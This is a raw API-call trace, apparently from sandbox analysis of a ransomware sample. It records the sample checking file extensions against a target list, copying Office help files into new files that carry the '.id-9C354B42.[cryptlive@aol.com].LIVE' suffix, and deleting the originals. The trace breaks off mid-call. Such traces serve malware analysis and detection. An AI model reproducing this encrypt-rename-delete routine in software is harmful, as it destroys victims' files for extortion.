(lpString=".xlsx") returned 5 [0146.835] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.835] lstrlenW (lpString=".ppt") returned 4 [0146.835] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.835] lstrlenW (lpString=".zip") returned 4 [0146.835] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.835] lstrlenW (lpString=".rar") returned 4 [0146.836] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.836] lstrlenW (lpString=".bz2") returned 4 [0146.836] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.836] lstrlenW (lpString=".7z") returned 3 [0146.836] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.836] lstrlenW (lpString=".dbf") returned 4 [0146.836] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.836] lstrlenW (lpString=".1cd") returned 4 [0146.836] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.836] lstrlenW (lpString=".jpg") returned 4 [0146.836] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.836] lstrlenW (lpString=".doc") returned 4 [0146.836] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.836] lstrlenW (lpString=".docx") returned 5 [0146.836] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.836] lstrlenW (lpString=".pdf") returned 4 [0146.836] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.836] lstrlenW (lpString=".xls") returned 4 [0146.836] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.836] lstrlenW (lpString=".xlsx") returned 5 [0146.836] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.836] lstrlenW (lpString=".ppt") returned 4 [0146.836] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.836] lstrlenW (lpString=".zip") returned 4 [0146.836] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.836] lstrlenW (lpString=".rar") returned 4 [0146.836] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.836] lstrlenW (lpString=".bz2") returned 4 [0146.836] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.836] lstrlenW (lpString=".7z") returned 3 [0146.837] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.837] lstrlenW (lpString=".dbf") returned 4 [0146.837] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.837] lstrlenW (lpString=".1cd") returned 4 [0146.837] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT") returned 72 [0146.837] lstrlenW (lpString=".jpg") returned 4 [0146.837] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.837] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.837] lstrlenW (lpString="VISIO.SHAPESHEET_F_COL.HXK") returned 26 [0146.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.837] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0146.837] CloseHandle (hObject=0x380) returned 1 [0146.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 0x20 [0146.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.838] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.838] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0146.839] GetLastError () returned 0x0 [0146.839] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0146.840] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.841] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.841] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x108, lpOverlapped=0x0) returned 1 [0146.841] SetEndOfFile (hFile=0x1ec) returned 1 [0146.841] CloseHandle (hObject=0x1ec) returned 1 [0146.841] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.841] SetEndOfFile (hFile=0x380) returned 1 [0146.846] CloseHandle (hObject=0x380) returned 1 [0146.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk")) returned 1 [0146.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.847] lstrlenW (lpString=".doc") returned 4 [0146.847] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.847] lstrlenW (lpString=".docx") returned 5 [0146.847] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.847] lstrlenW (lpString=".pdf") returned 4 [0146.847] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.847] lstrlenW (lpString=".xls") returned 4 [0146.847] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.847] lstrlenW (lpString=".xlsx") returned 5 [0146.847] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.847] lstrlenW (lpString=".ppt") returned 4 [0146.848] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.848] lstrlenW (lpString=".zip") returned 4 [0146.848] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.848] lstrlenW (lpString=".rar") returned 4 [0146.848] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.848] lstrlenW (lpString=".bz2") returned 4 [0146.848] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.848] lstrlenW (lpString=".7z") returned 3 [0146.848] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.848] lstrlenW (lpString=".dbf") returned 4 [0146.848] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.848] lstrlenW (lpString=".1cd") returned 4 [0146.848] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.848] lstrlenW (lpString=".jpg") returned 4 [0146.848] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.848] lstrlenW (lpString=".doc") returned 4 [0146.848] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.848] lstrlenW (lpString=".docx") returned 5 [0146.848] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.848] lstrlenW (lpString=".pdf") returned 4 [0146.848] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.848] lstrlenW (lpString=".xls") returned 4 [0146.849] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.849] lstrlenW (lpString=".xlsx") returned 5 [0146.849] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.849] lstrlenW (lpString=".ppt") returned 4 [0146.849] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.849] lstrlenW (lpString=".zip") returned 4 [0146.849] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.849] lstrlenW (lpString=".rar") returned 4 [0146.849] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.849] lstrlenW (lpString=".bz2") returned 4 [0146.849] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.849] lstrlenW (lpString=".7z") returned 3 [0146.849] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.849] lstrlenW (lpString=".dbf") returned 4 [0146.849] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.849] lstrlenW (lpString=".1cd") returned 4 [0146.849] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0146.849] lstrlenW (lpString=".jpg") returned 4 [0146.849] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.849] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.849] lstrlenW (lpString="VISIO.SHAPESHEET_K_COL.HXK") returned 26 [0146.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.850] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=113) returned 1 [0146.850] CloseHandle (hObject=0x380) returned 1 [0146.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 0x20 [0146.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.851] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.851] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0146.851] GetLastError () returned 0x0 [0146.851] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0146.852] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.853] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.854] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x108, lpOverlapped=0x0) returned 1 [0146.854] SetEndOfFile (hFile=0x1ec) returned 1 [0146.854] CloseHandle (hObject=0x1ec) returned 1 [0146.854] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.854] SetEndOfFile (hFile=0x380) returned 1 [0146.856] CloseHandle (hObject=0x380) returned 1 [0146.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 1 [0146.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.857] lstrlenW (lpString=".doc") returned 4 [0146.857] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.857] lstrlenW (lpString=".docx") returned 5 [0146.857] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.857] lstrlenW (lpString=".pdf") returned 4 [0146.857] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.857] lstrlenW (lpString=".xls") returned 4 [0146.857] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.857] lstrlenW (lpString=".xlsx") returned 5 [0146.857] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.857] lstrlenW (lpString=".ppt") returned 4 [0146.857] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.858] lstrlenW (lpString=".zip") returned 4 [0146.858] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.858] lstrlenW (lpString=".rar") returned 4 [0146.858] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.858] lstrlenW (lpString=".bz2") returned 4 [0146.858] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.858] lstrlenW (lpString=".7z") returned 3 [0146.858] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.858] lstrlenW (lpString=".dbf") returned 4 [0146.858] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.858] lstrlenW (lpString=".1cd") returned 4 [0146.858] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.858] lstrlenW (lpString=".jpg") returned 4 [0146.858] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.858] lstrlenW (lpString=".doc") returned 4 [0146.858] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.858] lstrlenW (lpString=".docx") returned 5 [0146.858] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.858] lstrlenW (lpString=".pdf") returned 4 [0146.858] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.858] lstrlenW (lpString=".xls") returned 4 [0146.858] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.858] lstrlenW (lpString=".xlsx") returned 5 [0146.858] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.858] lstrlenW (lpString=".ppt") returned 4 [0146.858] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.859] lstrlenW (lpString=".zip") returned 4 [0146.859] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.859] lstrlenW (lpString=".rar") returned 4 [0146.859] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.859] lstrlenW (lpString=".bz2") returned 4 [0146.859] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.859] lstrlenW (lpString=".7z") returned 3 [0146.859] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.859] lstrlenW (lpString=".dbf") returned 4 [0146.859] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.859] lstrlenW (lpString=".1cd") returned 4 [0146.859] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0146.859] lstrlenW (lpString=".jpg") returned 4 [0146.859] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.859] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0146.859] lstrlenW (lpString="VISIO_COL.HXC") returned 13 [0146.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.860] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=621) returned 1 [0146.860] CloseHandle (hObject=0x380) returned 1 [0146.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 0x20 [0146.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0146.860] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.860] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0146.861] GetLastError () returned 0x0 [0146.861] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x26d, lpOverlapped=0x0) returned 1 [0146.863] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x270, lpOverlapped=0x0) returned 1 [0146.864] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.864] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0146.864] SetEndOfFile (hFile=0x1ec) returned 1 [0146.864] CloseHandle (hObject=0x1ec) returned 1 [0146.864] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.864] SetEndOfFile (hFile=0x380) returned 1 [0146.866] CloseHandle (hObject=0x380) returned 1 [0146.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 1 [0146.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0146.867] lstrlenW (lpString=".doc") returned 4 [0146.867] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.867] lstrlenW (lpString=".docx") returned 5 [0146.867] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.867] lstrlenW (lpString=".pdf") returned 4 [0146.867] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString=".xls") returned 4 [0146.868] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.868] lstrlenW (lpString=".xlsx") returned 5 [0146.868] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.868] lstrlenW 